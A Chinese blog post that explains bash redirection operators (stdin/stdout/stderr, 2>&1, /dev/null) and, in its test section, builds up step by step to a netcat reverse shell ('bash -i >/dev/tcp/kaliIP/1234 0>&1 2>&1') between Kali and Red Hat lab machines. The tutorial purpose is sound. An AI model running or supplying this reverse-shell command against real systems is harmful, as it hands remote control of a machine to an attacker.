首页 » OS » Linux » 正文

linux bash >&总结

0x00 前言

经常接触到bash的>&符号,总是忘记或者混淆,特有此文总结。

 

0x01 概述

0:stdin标准输入

1:stdout标准输出

2:stderr标准错误

>:输出重定向

<:输入重定向

/dev/null:空洞,可以理解为黑洞或垃圾箱

直接ls > 1系统会误认为是把标准输出重定向到1这个文件而不是标准输出,所以加上&1表示标准输出。

标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。

>/dev/null 2>&1:把标准输出重定向到黑洞,接着标准错误重定向到标准输出,也就是扔到一样黑洞。

2>&1 >/dev/null:先把标准错误重定向到标准输出,注意这里标准输出还是默认输出到屏幕,所以会输出stderr,接着标准输出重定向到黑洞,所以输出stderr不输出stdout。

 

0x02 测试

测试0:

redhat:cat hi.txt >/dev/null

abcd >/dev/null 2>&1

 

测试1:

kali: nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234

解释:bash -i创建的交互式子shell的标准输出给了/dev/tcp/kaliIP/1234,所以在redhat中输入ls命令的输出结果在kali中显示,但是标准错误2还是在redhat中,所以输入abcd这个不存在的命令时标准错误显示在redhat中。

 

测试2:

kali:nc -vvlp 1234

redhat:bash -i </dev/tcp/kaliIP/1234

解释:redhat从/dev/tcp/kaliIP/1234中获得标准输入0,将ls命令的结果显示出来。由于标准错误2还在redhat,所以在kali中输入abcd这个不存在的命令时,错误信息显示在redhat,注意这里命令虽然在kali中输入,但是命令也会回显到redhat,因为标准错误2还在redhat……貌似强调得有点多了^-^!。

 

测试3:

kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1

解释:在redhat中将标准输出1重定向到kali,标准输入0重定向到标准输出1,也就是在kali中输入命令ls,命令传到redhat的子shell,再将命令结果输出到kali,注意这里标准错误2在redhat,所以redhat有命令回显和标准错误(如图的abcd)。

 

测试4:
kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1 2>&1

解释:redhat中在测试3的基础上将标准错误也重定向到标准输出,这样在redhat中就没有了标准错误信息和命令回显(包括命令提示符),这就是一个基本的反弹shell了。

通过查阅资料https://www.gnu.org/software/bash/manual/bash.pdf

可以发现

There are two formats for redirecting standard output and standard error:

&>

word

and

>&

word

Of the two forms, the first is preferred. This is semantically equivalent to

>

word

2>&1

也就是说2>&1和>&/dev/…,&>/dev/…是一样的,亲测有效。

 

0x03 结语

多看看官方手册还是不错的。

 

0x04 参考资料

www.freebuf.com/articles/system/153986.html

https://www.gnu.org/software/bash/manual/bash.pdf

blog.csdn.net/yasi_xi/article/details/8637069

www.jb51.net/article/106373.htm

 

Comment